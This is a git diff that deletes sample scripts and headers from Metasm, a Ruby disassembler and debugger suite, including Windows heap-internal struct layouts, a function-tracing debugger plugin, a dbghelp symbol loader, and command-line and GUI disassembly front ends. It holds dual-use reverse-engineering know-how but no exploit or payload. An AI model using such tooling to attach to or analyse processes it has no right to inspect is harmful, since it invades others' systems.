- ULONG32 CommitFailures; - ULONG32 InBlockCommitFailures; - ULONG32 CompactHeapCalls; - ULONG32 CompactedUCRs; - ULONG32 AllocAndFreeOps; - ULONG32 InBlockDeccommits; - ULONG32 InBlockDeccomitSize; - ULONG32 HighWatermarkSize; - ULONG32 LastPolledSize; -} HEAP_COUNTERS, *PHEAP_COUNTERS; - -typedef struct _HEAP_TUNING_PARAMETERS -{ - ULONG32 CommittThresholdShift; - ULONG32 MaxPreCommittThreshold; -} HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; - -typedef struct _HEAP_SEGMENT -{ - struct _HEAP_ENTRY Entry; - ULONG32 SegmentSignature; - ULONG32 SegmentFlags; - struct _LIST_ENTRY SegmentListEntry; - struct _HEAP* Heap; - VOID* BaseAddress; - ULONG32 NumberOfPages; - struct _HEAP_ENTRY* FirstEntry; - struct _HEAP_ENTRY* LastValidEntry; - ULONG32 NumberOfUnCommittedPages; - ULONG32 NumberOfUnCommittedRanges; - UINT16 SegmentAllocatorBackTraceIndex; - UINT16 Reserved; - struct _LIST_ENTRY UCRSegmentList; -} HEAP_SEGMENT, *PHEAP_SEGMENT; - -typedef struct _HEAP -{ - struct _HEAP_SEGMENT Segment; - ULONG32 Flags; - ULONG32 ForceFlags; - ULONG32 CompatibilityFlags; - ULONG32 EncodeFlagMask; - struct _HEAP_ENTRY Encoding; - ULONG32 PointerKey; - ULONG32 Interceptor; - ULONG32 VirtualMemoryThreshold; - ULONG32 Signature; - ULONG32 SegmentReserve; - ULONG32 SegmentCommit; - ULONG32 DeCommitFreeBlockThreshold; - ULONG32 DeCommitTotalFreeThreshold; - ULONG32 TotalFreeSize; - ULONG32 MaximumAllocationSize; - UINT16 ProcessHeapsListIndex; - UINT16 HeaderValidateLength; - VOID* HeaderValidateCopy; - UINT16 NextAvailableTagIndex; - UINT16 MaximumTagIndex; - struct _HEAP_TAG_ENTRY* TagEntries; - struct _LIST_ENTRY UCRList; - ULONG32 AlignRound; - ULONG32 AlignMask; - struct _LIST_ENTRY VirtualAllocdBlocks; - struct _LIST_ENTRY SegmentList; - UINT16 AllocatorBackTraceIndex; - UINT8 _PADDING0_[0x2]; - ULONG32 NonDedicatedListLength; - VOID* BlocksIndex; - VOID* UCRIndex; - struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries; - struct _LIST_ENTRY FreeLists; - struct _HEAP_LOCK* LockVariable; - VOID* CommitRoutine; - VOID* FrontEndHeap; - UINT16 FrontHeapLockCount; - UINT8 FrontEndHeapType; - UINT8 _PADDING1_[0x1]; - struct _HEAP_COUNTERS Counters; - struct _HEAP_TUNING_PARAMETERS TuningParameters; -} HEAP, *PHEAP; - -typedef struct _HEAP_ENTRY_EXTRA -{ - union - { - struct - { - UINT16 AllocatorBackTraceIndex; - UINT16 TagIndex; - ULONG32 Settable; - }; - UINT64 ZeroInit; - }; -} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; - -typedef struct _HEAP_FREE_ENTRY -{ - struct _HEAP_ENTRY Entry; - struct _LIST_ENTRY FreeList; -} HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY; - -typedef struct _HEAP_LIST_LOOKUP -{ - struct _HEAP_LIST_LOOKUP* ExtendedLookup; - ULONG32 ArraySize; - ULONG32 ExtraItem; - ULONG32 ItemCount; - ULONG32 OutOfRangeItems; - ULONG32 BaseIndex; - struct _LIST_ENTRY* ListHead; - ULONG32* ListsInUseUlong; - struct _LIST_ENTRY** ListHints; -} HEAP_LIST_LOOKUP, *PHEAP_LIST_LOOKUP; - -typedef struct _HEAP_LOOKASIDE -{ - struct _SLIST_HEADER ListHead; - UINT16 Depth; - UINT16 MaximumDepth; - ULONG32 TotalAllocates; - ULONG32 AllocateMisses; - ULONG32 TotalFrees; - ULONG32 FreeMisses; - ULONG32 LastTotalAllocates; - ULONG32 LastAllocateMisses; - ULONG32 Counters[2]; - UINT8 _PADDING0_[0x4]; -} HEAP_LOOKASIDE, *PHEAP_LOOKASIDE; - -typedef struct _INTERLOCK_SEQ -{ - union - { - struct - { - UINT16 Depth; - UINT16 FreeEntryOffset; - UINT8 _PADDING0_[0x4]; - }; - struct - { - ULONG32 OffsetAndDepth; - ULONG32 Sequence; - }; - INT64 Exchg; - }; -}INTERLOCK_SEQ, *PINTERLOCK_SEQ; - -typedef struct _HEAP_TAG_ENTRY -{ - ULONG32 Allocs; - ULONG32 Frees; - ULONG32 Size; - UINT16 TagIndex; - UINT16 CreatorBackTraceIndex; - WCHAR TagName[24]; -} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; - -typedef struct _HEAP_UCR_DESCRIPTOR -{ - struct _LIST_ENTRY ListEntry; - struct _LIST_ENTRY SegmentEntry; - VOID* Address; - ULONG32 Size; -} HEAP_UCR_DESCRIPTOR, *PHEAP_UCR_DESCRIPTOR; - -typedef struct _HEAP_USERDATA_HEADER -{ - union - { - struct _SINGLE_LIST_ENTRY SFreeListEntry; - struct _HEAP_SUBSEGMENT* SubSegment; - }; - VOID* Reserved; - ULONG32 SizeIndex; - ULONG32 Signature; -} HEAP_USERDATA_HEADER, *PHEAP_USERDATA_HEADER; - -typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY -{ - struct _LIST_ENTRY Entry; - struct _HEAP_ENTRY_EXTRA ExtraStuff; - ULONG32 CommitSize; - ULONG32 ReserveSize; - struct _HEAP_ENTRY BusyBlock; -} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; - -struct _USER_MEMORY_CACHE_ENTRY { - ULONG32 Foo[4]; -}; -struct _HEAP_BUCKET { - ULONG32 Foo; -}; -struct _HEAP_BUCKET_COUNTERS { - ULONG32 Foo[2]; -}; - -typedef struct _HEAP_LOCAL_SEGMENT_INFO -{ - struct _HEAP_SUBSEGMENT* Hint; - struct _HEAP_SUBSEGMENT* ActiveSubsegment; - struct _HEAP_SUBSEGMENT* CachedItems[16]; - struct _SLIST_HEADER SListHeader; - struct _HEAP_BUCKET_COUNTERS Counters; - struct _HEAP_LOCAL_DATA* LocalData; - ULONG32 LastOpSequence; - UINT16 BucketIndex; - UINT16 LastUsed; - ULONG32 Pad; -} HEAP_LOCAL_SEGMENT_INFO, *PHEAP_LOCAL_SEGMENT_INFO; - -typedef struct _HEAP_LOCAL_DATA { - struct _SLIST_HEADER DeletedSubSegments; - struct _LFH_BLOCK_ZONE* CrtZone; - struct _LFH_HEAP* LowFragHeap; - ULONG32 Sequence; - struct _HEAP_LOCAL_SEGMENT_INFO SegmentInfo[128]; -} HEAP_LOCAL_DATA; - -typedef struct _HEAP_SUBSEGMENT -{ - struct _HEAP_LOCAL_SEGMENT_INFO* LocalInfo; - struct _HEAP_USERDATA_HEADER* UserBlocks; - struct _INTERLOCK_SEQ AggregateExchg; - UINT16 BlockSize; - UINT16 Flags; - UINT16 BlockCount; - UINT8 SizeIndex; - UINT8 AffinityIndex; - struct _SINGLE_LIST_ENTRY SFreeListEntry; - ULONG32 Lock; -} HEAP_SUBSEGMENT, *PHEAP_SUBSEGMENT; - -typedef struct _LFH_HEAP -{ - ULONG32 Lock[6]; - struct _LIST_ENTRY SubSegmentZones; - ULONG32 ZoneBlockSize; - VOID* Heap; - ULONG32 SegmentChange; - ULONG32 SegmentCreate; - ULONG32 SegmentInsertInFree; - ULONG32 SegmentDelete; - ULONG32 CacheAllocs; - ULONG32 CacheFrees; - ULONG32 SizeInCache; - ULONG32 RunInfo[3]; - struct _USER_MEMORY_CACHE_ENTRY UserBlockCache[12]; - struct _HEAP_BUCKET Buckets[128]; - struct _HEAP_LOCAL_DATA LocalData[1]; -} LFH_HEAP; diff --git a/lib/metasm/samples/dbg-plugins/trace_func.rb b/lib/metasm/samples/dbg-plugins/trace_func.rb deleted file mode 100644 index 65bb0594d0..0000000000 --- a/lib/metasm/samples/dbg-plugins/trace_func.rb +++ /dev/null @@ -1,214 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm debugger plugin -# adds a 'trace_func' method to the debugger -# the methods sets a breakpoint at the beginning of a function, and logs the execution of the instruction blocks -# does not descend in subfunctions - -# setup the initial breakpoint at func start -def trace_func(addr, oneshot = false) - @trace_terminate = false - # distinguish different hits on the same function entry - counter = 0 - bp = bpx(addr, oneshot) { - counter += 1 - id = [disassembler.normalize(addr), counter, func_retaddr] - trace_func_newtrace(id) - trace_func_block(id) - continue - } - if addr == pc - del_bp bp if oneshot - bp.action.call - end -end - -# start tracing now, and stop only when @trace_terminate is set -def trace - @trace_subfuncs = true - @trace_terminate = false - id = [pc, 0, 0] - trace_func_newtrace(id) - trace_func_block(id) - continue -end - -# we hit the beginning of a block we want to trace -def trace_func_block(id) - blockaddr = pc - if b = trace_get_block(blockaddr) - trace_func_add_block(id, blockaddr) - if b.list.length == 1 - trace_func_blockend(id, blockaddr) - else - bpx(b.list.last.address, true) { - finished = trace_func_blockend(id, blockaddr) - continue if not finished - } - end - else - # invalid opcode ? - trace_func_blockend(id, blockaddr) - end -end - -# we are at the end of a traced block, find whats next -def trace_func_blockend(id, blockaddr) - if di = disassembler.di_at(pc) - if end_stepout(di) and trace_func_istraceend(id, di) - # trace ends there - trace_func_finish(id) - return true - elsif di.opcode.props[:saveip] and not trace_func_entersubfunc(id, di) - # call to a subfunction - bpx(di.next_addr, true) { - trace_func_block(id) - continue - } - continue - else - singlestep { - newaddr = pc - trace_func_block(id) - - trace_func_linkdasm(di.address, newaddr) - continue - } - end - else - # XXX should link in the dasm somehow - singlestep { - trace_func_block(id) - continue - } - end - false -end - -# retrieve an instructionblock, disassemble if needed -def trace_get_block(addr) - # TODO trace all blocks from addr for which we know the target, stop on call / jmp [foo] - disassembler.disassemble_fast_block(addr) - if di = disassembler.di_at(addr) - di.block - end -end - -# update the blocks links in the disassembler -def trace_func_linkdasm(from_addr, new_addr) - di = disassembler.di_at(from_addr) - ndi = disassembler.di_at(new_addr) - - return if not di - - # is it a subfunction return ? - if end_stepout(di) and cdi = (1..8).map { |i| - disassembler.di_at(new_addr - i) - }.compact.find { |cdi_| - cdi_.opcode.props[:saveip] and cdi_.next_addr == new_addr - } - cdi.block.add_to_subfuncret new_addr - ndi.block.add_from_subfuncret cdi.address if ndi - cdi.block.each_to_normal { |f| - disassembler.function[f] ||= DecodedFunction.new if disassembler.di_at(f) - } - else - di.block.add_to_normal new_addr - ndi.block.add_from_normal from_addr if ndi - end -end - -################################################################################################ -# you can redefine the following functions in another plugin to handle trace events differently - -# a new trace is about to begin -def trace_func_newtrace(id) - @trace_func_counter ||= {} - @trace_func_counter[id] = 0 - - puts "start tracing #{Expression[id[0]]}" - - # setup a bg_color_callback on the disassembler - if not defined? @trace_func_dasmcolor - @trace_func_dasmcolor = true - return if not disassembler.gui - oldcb = disassembler.gui.bg_color_callback - disassembler.gui.bg_color_callback = lambda { |addr| - if oldcb and c = oldcb[addr] - c - elsif di = disassembler.di_at(addr) and di.block.list.first.comment.to_s =~ /functrace/ - 'ff0' - end - } - end -end - -# a new block is added to a trace -def trace_func_add_block(id, blockaddr) - @trace_func_counter[id] += 1 - if di = disassembler.di_at(blockaddr) - di.add_comment "functrace #{@trace_func_counter[id]}" - end -end - -# the trace is finished -def trace_func_finish(id) - puts "finished tracing #{Expression[id[0]]}" -end - -def trace_subfuncs=(v) @trace_subfuncs = v end -def trace_subfuncs; @trace_subfuncs ||= false end - -# the tracer is on a end-of-func instruction, should the trace end ? -def trace_func_istraceend(id, di) - if trace_subfuncs - if @trace_terminate - true - elsif id[2] == 0 # trace VS func_trace - elsif target = disassembler.get_xrefs_x(di)[0] - # check the current return address against the one saved at trace start - resolve(disassembler.normalize(target)) == id[2] - end - else - true - end -end - -# the tracer is on a subfunction call instruction, should it trace into or stepover ? -def trace_func_entersubfunc(id, di) - if trace_subfuncs - @trace_func_subfunccache ||= {} - if not target = @trace_func_subfunccache[di.address] - # even if the target is dynamic, its module should be static - if target = disassembler.get_xrefs_x(di)[0] - @trace_func_subfunccache[di.address] = - target = resolve(disassembler.normalize(target)) - end - end - # check if the target subfunction is in the same module as the main - # XXX should check against the list of loaded modules etc - # XXX call thunk_foo -> jmp [other_module] - true if target.kind_of? Integer and target & 0xffc0_0000 == id[0] & 0xffc0_0000 - else - false - end -end - -if gui - gui.new_command('trace_func', 'trace execution inside a target function') { |arg| trace_func arg } - gui.new_command('trace_func_once', 'trace one execution inside the target function') { |arg| trace_func arg, true } - gui.new_command('trace_now', 'trace til the end of the current function') { trace_func pc, true ; gui.wrap_run { continue } } - gui.new_command('trace', 'start tracing from the current pc until trace_stop') { trace } - gui.new_command('trace_stop', 'stop tracing') { @trace_terminate = true } - gui.new_command('trace_subfunctions', 'define if the tracer should enter subfunctions') { |arg| - case arg.strip - when 'on', '1', 'yes', 'y'; @trace_subfuncs = true - else @trace_subfuncs = false - end - puts "#{'not ' if not @trace_subfuncs}tracing subfunctions" - } -end diff --git a/lib/metasm/samples/dbghelp.rb b/lib/metasm/samples/dbghelp.rb deleted file mode 100644 index 86b9afc973..0000000000 --- a/lib/metasm/samples/dbghelp.rb +++ /dev/null @@ -1,143 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# a preleminary attempt to use MS dbghelp.dll to retrieve PE symbols - -require 'metasm' - -dll = 'C:\\Program Files\\Debugging Tools For Windows (x86)\\dbghelp.dll' - -Metasm::DynLdr.new_api_c <<EOS, dll -#define SYMOPT_CASE_INSENSITIVE 0x00000001 -#define SYMOPT_UNDNAME 0x00000002 -#define SYMOPT_DEFERRED_LOADS 0x00000004 -#define SYMOPT_NO_CPP 0x00000008 -#define SYMOPT_LOAD_LINES 0x00000010 -#define SYMOPT_OMAP_FIND_NEAREST 0x00000020 -#define SYMOPT_LOAD_ANYTHING 0x00000040 -#define SYMOPT_IGNORE_CVREC 0x00000080 -#define SYMOPT_NO_UNQUALIFIED_LOADS 0x00000100 -#define SYMOPT_FAIL_CRITICAL_ERRORS 0x00000200 -#define SYMOPT_EXACT_SYMBOLS 0x00000400 -#define SYMOPT_ALLOW_ABSOLUTE_SYMBOLS 0x00000800 -#define SYMOPT_IGNORE_NT_SYMPATH 0x00001000 -#define SYMOPT_INCLUDE_32BIT_MODULES 0x00002000 -#define SYMOPT_PUBLICS_ONLY 0x00004000 -#define SYMOPT_NO_PUBLICS 0x00008000 -#define SYMOPT_AUTO_PUBLICS 0x00010000 -#define SYMOPT_NO_IMAGE_SEARCH 0x00020000 -#define SYMOPT_SECURE 0x00040000 -#define SYMOPT_NO_PROMPTS 0x00080000 -#define SYMOPT_DEBUG 0x80000000 - -typedef int BOOL; -typedef char CHAR; -typedef unsigned long DWORD; -typedef unsigned __int64 DWORD64; -typedef void *HANDLE; -typedef unsigned __int64 *PDWORD64; -typedef void *PVOID; -typedef unsigned long ULONG; -typedef unsigned __int64 ULONG64; -typedef const CHAR *PCSTR; -typedef CHAR *PSTR; - -struct _SYMBOL_INFO { - ULONG SizeOfStruct; - ULONG TypeIndex; - ULONG64 Reserved[2]; - ULONG info; - ULONG Size; - ULONG64 ModBase; - ULONG Flags; - ULONG64 Value; - ULONG64 Address; - ULONG Register; - ULONG Scope; - ULONG Tag; - ULONG NameLen; - ULONG MaxNameLen; - CHAR Name[1]; -}; -typedef struct _SYMBOL_INFO *PSYMBOL_INFO; - -typedef __stdcall BOOL (*PSYM_ENUMERATESYMBOLS_CALLBACK)(PSYMBOL_INFO pSymInfo, ULONG SymbolSize, PVOID UserContext); - -__stdcall DWORD SymGetOptions(void); -__stdcall DWORD SymSetOptions(DWORD SymOptions __attribute__((in))); -__stdcall BOOL SymInitialize(HANDLE hProcess __attribute__((in)), PSTR UserSearchPath __attribute__((in)), BOOL fInvadeProcess __attribute__((in))); -__stdcall DWORD64 SymLoadModule64(HANDLE hProcess __attribute__((in)), HANDLE hFile __attribute__((in)), PSTR ImageName __attribute__((in)), PSTR ModuleName __attribute__((in)), DWORD64 BaseOfDll __attribute__((in)), DWORD SizeOfDll __attribute__((in))); -__stdcall BOOL SymSetSearchPath(HANDLE hProcess __attribute__((in)), PSTR SearchPathA __attribute__((in))); -__stdcall BOOL SymFromAddr(HANDLE hProcess __attribute__((in)), DWORD64 Address __attribute__((in)), PDWORD64 Displacement __attribute__((out)), PSYMBOL_INFO Symbol __attribute__((in)) __attribute__((out))); -__stdcall BOOL SymEnumSymbols(HANDLE hProcess __attribute__((in)), ULONG64 BaseOfDll __attribute__((in)), PCSTR Mask __attribute__((in)), PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback __attribute__((in)), PVOID UserContext __attribute__((in))); -EOS - -#SYMOPT = 4|0x80000 # defered_load no_prompt -#Metasm::WinAPI.new_api dll, 'SymInitialize', 'III I' -#Metasm::WinAPI.new_api dll, 'SymGetOptions', 'I' -#Metasm::WinAPI.new_api dll, 'SymSetOptions', 'I I' -#Metasm::WinAPI.new_api dll, 'SymSetSearchPath', 'IP I' -#Metasm::WinAPI.new_api dll, 'SymLoadModule64', 'IIPIIII I' # ???ull? -#Metasm::WinAPI.new_api dll, 'SymFromAddr', 'IIIPP I' # handle ull_addr poffset psym - -class Tracer < Metasm::WinDbgAPI - def initialize(*a) - super(*a) - loop - puts 'finished' - end - - def handler_newprocess(pid, tid, info) - puts "newprocess: init symsrv" - - h = @hprocess[pid] - dl = Metasm::DynLdr - dl.syminitialize(h, 0, 0) - dl.symsetoptions(dl.symgetoptions|dl::SYMOPT_DEFERRED_LOADS|dl::SYMOPT_NO_PROMPTS) - sympath = ENV['_NT_SYMBOL_PATH'] || 'srv**symbols*http://msdl.microsoft.com/download/symbols' - dl.symsetsearchpath(h, sympath.dup) # dup cause ENV is frozen and make WinAPI raises - - Metasm::WinAPI::DBG_CONTINUE - end - - def handler_loaddll(pid, tid, info) - pe = Metasm::LoadedPE.load(@mem[pid][info.imagebase, 0x1000000]) - pe.decode_header - pe.decode_exports - return if not pe.export - libname = pe.export.libname - puts "loaddll: #{libname} @#{'%x' % info.imagebase}" - h = @hprocess[pid] - dl = Metasm::DynLdr - dl.symloadmodule64(h, 0, libname, 0, info.imagebase, pe.optheader.image_size) - symstruct = [0x58].pack('L') + 0.chr*4*19 + [512].pack('L') # sizeofstruct, ..., nameszmax - text = pe.sections.find { |s| s.name == '.text' } - # XXX should SymEnumSymbols, but win32api callbacks sucks - text.rawsize.times { |o| - sym = symstruct + 0.chr*512 # name concat'ed after the struct - off = 0.chr*8 - if dl.symfromaddr(h, info.imagebase+text.virtaddr+o, off, sym) and off.unpack('L').first == 0 - symnamelen = sym[19*4, 4].unpack('L').first - puts ' %x %s' % [text.virtaddr+o, sym[0x54, symnamelen]] - end - puts ' %x/%x' % [o, text.rawsize] if $VERBOSE and o & 0xffff == 0 - } - puts - end -end - -if $0 == __FILE__ - Metasm::WinOS.get_debug_privilege - if ARGV.empty? - # display list of running processes if no target found - puts Metasm::WinOS.list_processes.sort_by { |pr_| pr_.pid } - abort 'target needed' - end - pid = ARGV.shift.dup - if pr = Metasm::WinOS.find_process(pid) - pid = pr.pid - end - Tracer.new pid -end diff --git a/lib/metasm/samples/disassemble-gui.rb b/lib/metasm/samples/disassemble-gui.rb deleted file mode 100644 index 080b5e0745..0000000000 --- a/lib/metasm/samples/disassemble-gui.rb +++ /dev/null @@ -1,132 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# this script disassembles an executable (elf/pe) using the GTK front-end -# use live:bla to open a running process whose filename contains 'bla' -# -# key binding (non exhaustive): -# Enter to follow a label (the current hilighted word) -# Esc to return to the previous position -# Space to switch between listing and graph views -# Tab to decompile (on already disassembled code) -# 'c' to start disassembling from the cursor position -# 'g' to go to a specific address (label/042h) -# 'l' to list known labels -# 'f' to list known functions -# 'x' to list xrefs to current address -# 'n' to rename a label (current word or current address) -# ctrl+'r' to run arbitrary ruby code in the context of the Gui objet (access to 'dasm', 'curaddr') -# ctrl+mousewheel to zoom in graph view ; also doubleclick on the background ('fit to window'/'reset zoom') -# - -require 'metasm' -require 'optparse' - -$VERBOSE = true - -# parse arguments -opts = { :sc_cpu => 'Ia32' } -OptionParser.new { |opt| - opt.banner = 'Usage: disassemble-gtk.rb [options] <executable> [<entrypoints>]' - opt.on('--no-data-trace', 'do not backtrace memory read/write accesses') { opts[:nodatatrace] = true } - opt.on('--debug-backtrace', 'enable backtrace-related debug messages (very verbose)') { opts[:debugbacktrace] = true } - opt.on('-P <plugin>', '--plugin <plugin>', 'load a metasm disassembler/debugger plugin') { |h| (opts[:plugin] ||= []) << h } - opt.on('-e <code>', '--eval <code>', 'eval a ruby code') { |h| (opts[:hookstr] ||= []) << h } - opt.on('--map <mapfile>', 'load a map file (addr <-> name association)') { |f| opts[:map] = f } - opt.on('--fast', 'dasm cli args with disassemble_fast_deep') { opts[:fast] = true } - opt.on('--decompile') { opts[:decompile] = true } - opt.on('--gui <gtk|win32|qt>') { |g| ENV['METASM_GUI'] = g } - opt.on('--cpu <cpu>', 'the CPU class to use for a shellcode (Ia32, X64, ...)') { |c| opts[:sc_cpu] = c } - opt.on('--exe <exe_fmt>', 'the executable file format to use (PE, ELF, ...)') { |c| opts[:exe_fmt] = c } - opt.on('--rebase <addr>', 'rebase the loaded file to <addr>') { |a| opts[:rebase] = Integer(a) } - opt.on('-c <header>', '--c-header <header>', 'read C function prototypes (for external library functions)') { |h| opts[:cheader] = h } - opt.on('-a', '--autoload', 'loads all relevant files with same filename (.h, .map..)') { opts[:autoload] = true } - opt.on('-v', '--verbose') { $VERBOSE = true } # default - opt.on('-q', '--no-verbose') { $VERBOSE = false } - opt.on('-d', '--debug') { $DEBUG = $VERBOSE = true } - opt.on('-S <file>', '--session <sessionfile>', 'save user actions in this session file') { |a| opts[:session] = a } - opt.on('-N', '--new-session', 'start new session, discard old one') { opts[:newsession] = true } -}.parse!(ARGV) - -case exename = ARGV.shift -when /^live:(.*)/ - t = $1 - t = t.to_i if $1 =~ /^[0-9]+$/ - os = Metasm::OS.current - raise 'no such target' if not target = os.find_process(t) || os.create_process(t) - p target if $VERBOSE - w = Metasm::Gui::DbgWindow.new(target.debugger, "#{target.pid}:#{target.modules[0].path rescue nil} - metasm debugger") - dbg = w.dbg_widget.dbg -when /^(tcp:|udp:)?..+:/ - dbg = Metasm::GdbRemoteDebugger.new(exename, opts[:sc_cpu]) - w = Metasm::Gui::DbgWindow.new(dbg, "remote - metasm debugger") -else - w = Metasm::Gui::DasmWindow.new("#{exename + ' - ' if exename}metasm disassembler") - if exename - opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ - opts[:exe_fmt] = eval(opts[:exe_fmt]) if opts[:exe_fmt] =~ /[.(\s:]/ - exe = w.loadfile(exename, opts[:sc_cpu], opts[:exe_fmt]) - exe.disassembler.rebase(opts[:rebase]) if opts[:rebase] - if opts[:autoload] - basename = exename.sub(/\.\w\w?\w?$/, '') - opts[:map] ||= basename + '.map' if File.exist?(basename + '.map') - opts[:cheader] ||= basename + '.h' if File.exist?(basename + '.h') - (opts[:plugin] ||= []) << (basename + '.rb') if File.exist?(basename + '.rb') - opts[:session] ||= basename + '.metasm-session' - end - end -end - -ep = ARGV.map { |arg| (?0..?9).include?(arg[0]) ? Integer(arg) : arg } - -if exe - dasm = exe.disassembler - - dasm.load_map opts[:map] if opts[:map] - dasm.parse_c_file opts[:cheader] if opts[:cheader] - dasm.backtrace_maxblocks_data = -1 if opts[:nodatatrace] - dasm.debug_backtrace = true if opts[:debugbacktrace] - dasm.callback_finished = lambda { w.dasm_widget.focus_addr w.dasm_widget.curaddr, :decompile ; dasm.decompiler.finalize } if opts[:decompile] - dasm.disassemble_fast_deep(*ep) if opts[:fast] -elsif dbg - dbg.load_map opts[:map] if opts[:map] - dbg.disassembler.parse_c_file opts[:cheader] if opts[:cheader] - opts[:plugin].to_a.each { |p| - begin - dbg.load_plugin(p) - rescue ::Exception - puts "Error with plugin #{p}: #{$!.class} #{$!}" - end - } -end -if dasm - w.display(dasm, ep) - opts[:plugin].to_a.each { |p| - begin - dasm.load_plugin(p) - rescue ::Exception - puts "Error with plugin #{p}: #{$!.class} #{$!}" - end - } - - if opts[:session] - if File.exist?(opts[:session]) - if opts[:newsession] - File.unlink(opts[:session]) - else - puts "replaying session #{opts[:session]}" - w.widget.replay_session(opts[:session]) - end - end - w.widget.save_session opts[:session] - end -end - -opts[:hookstr].to_a.each { |f| eval f } - -Metasm::Gui.main diff --git a/lib/metasm/samples/disassemble.rb b/lib/metasm/samples/disassemble.rb deleted file mode 100644 index dbc0e75ba0..0000000000 --- a/lib/metasm/samples/disassemble.rb +++ /dev/null @@ -1,158 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# this script disassembles an executable (elf/pe) and dumps the output -# ruby -h for help -# - -require 'metasm' -include Metasm -require 'optparse' - -# parse arguments -opts = { :sc_cpu => 'Ia32' } -OptionParser.new { |opt| - opt.banner = 'Usage: disassemble.rb [options] <executable> [<entrypoints>]' - opt.on('--no-data', 'do not display data bytes') { opts[:nodata] = true } - opt.on('--no-data-trace', 'do not backtrace memory read/write accesses') { opts[:nodatatrace] = true } - opt.on('--debug-backtrace', 'enable backtrace-related debug messages (very verbose)') { opts[:debugbacktrace] = true } - opt.on('-c <header>', '--c-header <header>', 'read C function prototypes (for external library functions)') { |h| opts[:cheader] = h } - opt.on('-o <outfile>', '--output <outfile>', 'save the assembly listing in the specified file (defaults to stdout)') { |h| opts[:outfile] = h } - opt.on('--cpu <cpu>', 'the CPU class to use for a shellcode (Ia32, X64, ...)') { |c| opts[:sc_cpu] = c } - opt.on('--exe <exe_fmt>', 'the executable file format to use (PE, ELF, ...)') { |c| opts[:exe_fmt] = c } - opt.on('--rebase <addr>', 'rebase the loaded file to <addr>') { |a| opts[:rebase] = Integer(a) } - opt.on('-s <savefile>', 'save the disassembler state after disasm') { |h| opts[:savefile] = h } - opt.on('-S <addrlist>', '--stop <addrlist>', '--stopaddr <addrlist>', 'do not disassemble past these addresses') { |h| opts[:stopaddr] ||= [] ; opts[:stopaddr] |= h.split ',' } - opt.on('-P <plugin>', '--plugin <plugin>', 'load a metasm disassembler plugin') { |h| (opts[:plugin] ||= []) << h } - opt.on('--post-plugin <plugin>', 'load a metasm disassembler plugin after disassembly is finished') { |h| (opts[:post_plugin] ||= []) << h } - opt.on('-e <code>', '--eval <code>', 'eval a ruby code') { |h| (opts[:hookstr] ||= []) << h } - opt.on('--benchmark') { opts[:benchmark] = true } - opt.on('--decompile') { opts[:decompile] = true } - opt.on('--map <mapfile>') { |f| opts[:map] = f } - opt.on('-a', '--autoload', 'loads all relevant files with same filename (.h, .map..)') { opts[:autoload] = true } - opt.on('--fast', 'use disassemble_fast (no backtracking)') { opts[:fast] = true } - opt.on('-v', '--verbose') { $VERBOSE = true } - opt.on('-d', '--debug') { $DEBUG = $VERBOSE = true } -}.parse!(ARGV) - -exename = ARGV.shift - -t0 = Time.now if opts[:benchmark] - -# load the file -if exename =~ /^live:(.*)/ - raise 'no such live target' if not target = OS.current.find_process($1) - p target if $VERBOSE - opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ - opts[:sc_cpu] = Metasm.const_get(opts[:sc_cpu]) if opts[:sc_cpu].kind_of(::String) - opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) - exe = Shellcode.decode(target.memory, opts[:sc_cpu]) -else - opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ - opts[:exe_fmt] = eval(opts[:exe_fmt]) if opts[:exe_fmt] =~ /[.(\s:]/ - if opts[:exe_fmt].kind_of?(::String) - exefmt = opts[:exe_fmt] = Metasm.const_get(opts[:exe_fmt]) - else - exefmt = opts[:exe_fmt] || AutoExe.orshellcode { - opts[:sc_cpu] = Metasm.const_get(opts[:sc_cpu]) if opts[:sc_cpu].kind_of?(::String) - opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) - opts[:sc_cpu] - } - end - exefmt = exefmt.withcpu(opts[:sc_cpu]) if exefmt.kind_of?(::Class) and exefmt.name.to_s.split('::').last == 'Shellcode' - exe = exefmt.decode_file(exename) - exe.disassembler.rebase(opts[:rebase]) if opts[:rebase] - if opts[:autoload] - basename = exename.sub(/\.\w\w?\w?$/, '') - opts[:map] ||= basename + '.map' if File.exist?(basename + '.map') - opts[:cheader] ||= basename + '.h' if File.exist?(basename + '.h') - (opts[:plugin] ||= []) << (basename + '.rb') if File.exist?(basename + '.rb') - end -end -# set options -dasm = exe.disassembler -makeint = lambda { |addr| - case addr - when /^[0-9].*h/; addr.to_i(16) - when /^[0-9]/; Integer(addr) - else dasm.normalize(addr) - end -} -dasm.load_map opts[:map] if opts[:map] -dasm.parse_c_file opts[:cheader] if opts[:cheader] -dasm.backtrace_maxblocks_data = -1 if opts[:nodatatrace] -dasm.debug_backtrace = true if opts[:debugbacktrace] -opts[:stopaddr].to_a.each { |addr| dasm.decoded[makeint[addr]] = true } -opts[:plugin].to_a.each { |p| - begin - dasm.load_plugin p - rescue ::Exception - puts "Error with plugin #{p}: #{$!.class} 